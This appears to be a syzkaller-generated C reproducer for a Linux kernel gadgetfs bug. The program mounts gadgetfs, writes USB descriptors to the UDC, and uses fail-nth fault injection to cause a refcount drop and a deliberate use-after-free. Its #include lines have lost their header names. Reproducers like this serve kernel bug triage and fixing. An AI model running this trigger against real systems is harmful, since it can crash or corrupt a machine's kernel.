// https://syzkaller.appspot.com/bug?id=1f4260e2dfff334268782ce758bf7ebdceae38b8 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include struct usb_config_descriptor { uint8_t bLength; uint8_t bDescriptorType; uint16_t wTotalLength; uint8_t bNumInterfaces; uint8_t bConfigurationValue; uint8_t iConfiguration; uint8_t bmAttributes; uint8_t bMaxPower; } __attribute__((packed)); struct usb_device_descriptor { uint8_t bLength; uint8_t bDescriptorType; uint16_t bcdUSB; uint8_t bDeviceClass; uint8_t bDeviceSubClass; uint8_t bDeviceProtocol; uint8_t bMaxPacketSize0; uint16_t idVendor; uint16_t idProduct; uint16_t bcdDevice; uint8_t iManufacturer; uint8_t iProduct; uint8_t iSerialNumber; uint8_t bNumConfigurations; } __attribute__((packed)); struct { uint32_t tag; struct usb_config_descriptor config; struct usb_device_descriptor device; } __attribute__((packed)) config_data = { .tag = 0, .config = { .bLength = 9, .bDescriptorType = 2, .bNumInterfaces = 1, .bConfigurationValue = 1, .iConfiguration = 0, .bmAttributes = 0x80, .bMaxPower = 50, }, .device = { .bLength = 18, .bDescriptorType = 1, .bDeviceClass = 0, .bDeviceSubClass = 0, .bDeviceProtocol = 0, .bMaxPacketSize0 = 64, .iManufacturer = 0, .iProduct = 0, .iSerialNumber = 0, .bNumConfigurations = 1, } }; int main() { config_data.config.wTotalLength = htole16(9); config_data.device.bcdUSB = htole16(0x0200); config_data.device.idVendor = htole16(0x1234); config_data.device.idProduct = htole16(0x5678); config_data.device.bcdDevice = htole16(0x0100); if (mkdir("/dev/gadget", 0777) < 0 && errno != EEXIST) { printf("[-] Failed to mkdir /dev/gadget: %s\n", strerror(errno)); } int mounted = 0; for (int i = 0; i < 50; i++) { if (mount("gadgetfs", "/dev/gadget", "gadgetfs", 0, NULL) == 0) { mounted = 1; break; } usleep(100000); } if (!mounted) { printf("[-] Failed to mount gadgetfs: %s\n", strerror(errno)); return 1; } printf("[+] gadgetfs mounted successfully.\n"); char udc_path[256] = {0}; for (int i = 0; i < 50; i++) { DIR *dir = opendir("/dev/gadget"); if (dir) { struct dirent *ent; while ((ent = readdir(dir)) != NULL) { if (strcmp(ent->d_name, ".") != 0 && strcmp(ent->d_name, "..") != 0) { snprintf(udc_path, sizeof(udc_path), "/dev/gadget/%s", ent->d_name); break; } } closedir(dir); } if (udc_path[0] != '\0') { break; } usleep(100000); } if (udc_path[0] == '\0') { printf("[-] UDC not found in /dev/gadget\n"); return 1; } printf("[+] Found UDC: %s\n", udc_path); for (int n = 1; n <= 50; n++) { pid_t pid = fork(); if (pid < 0) { printf("[-] fork failed: %s\n", strerror(errno)); continue; } if (pid == 0) { int fd = open(udc_path, O_RDWR); if (fd < 0) { printf("[-] Failed to open UDC %s: %s\n", udc_path, strerror(errno)); exit(1); } int fail_fd = open("/proc/self/fail-nth", O_WRONLY); if (fail_fd >= 0) { char buf[32]; snprintf(buf, sizeof(buf), "%d", n); if (write(fail_fd, buf, strlen(buf)) < 0) { // Ignore error } } else { printf("[-] Failed to open /proc/self/fail-nth: %s\n", strerror(errno)); exit(1); } // This write triggers gadgetfs_bind(). If fail-nth hits an allocation inside // gadgetfs_bind(), it will erroneously drop the refcount. if (write(fd, &config_data, sizeof(config_data)) < 0) { // Expected to fail sometimes due to fail-nth } if (fail_fd >= 0) { // Reset fail-nth. Retry loop is required because copy_from_user inside // proc_fail_nth_write might fail with EFAULT if fail-nth hasn't expired yet. while (write(fail_fd, "0", 1) < 0) { } close(fail_fd); } // Closing the file drops the final refcount, freeing the object if the bug was hit. close(fd); // Trigger the Use-After-Free int fd2 = open(udc_path, O_RDWR); if (fd2 >= 0) { close(fd2); } exit(0); } int status; waitpid(pid, &status, 0); } printf("[+] Finished testing.\n"); return 0; }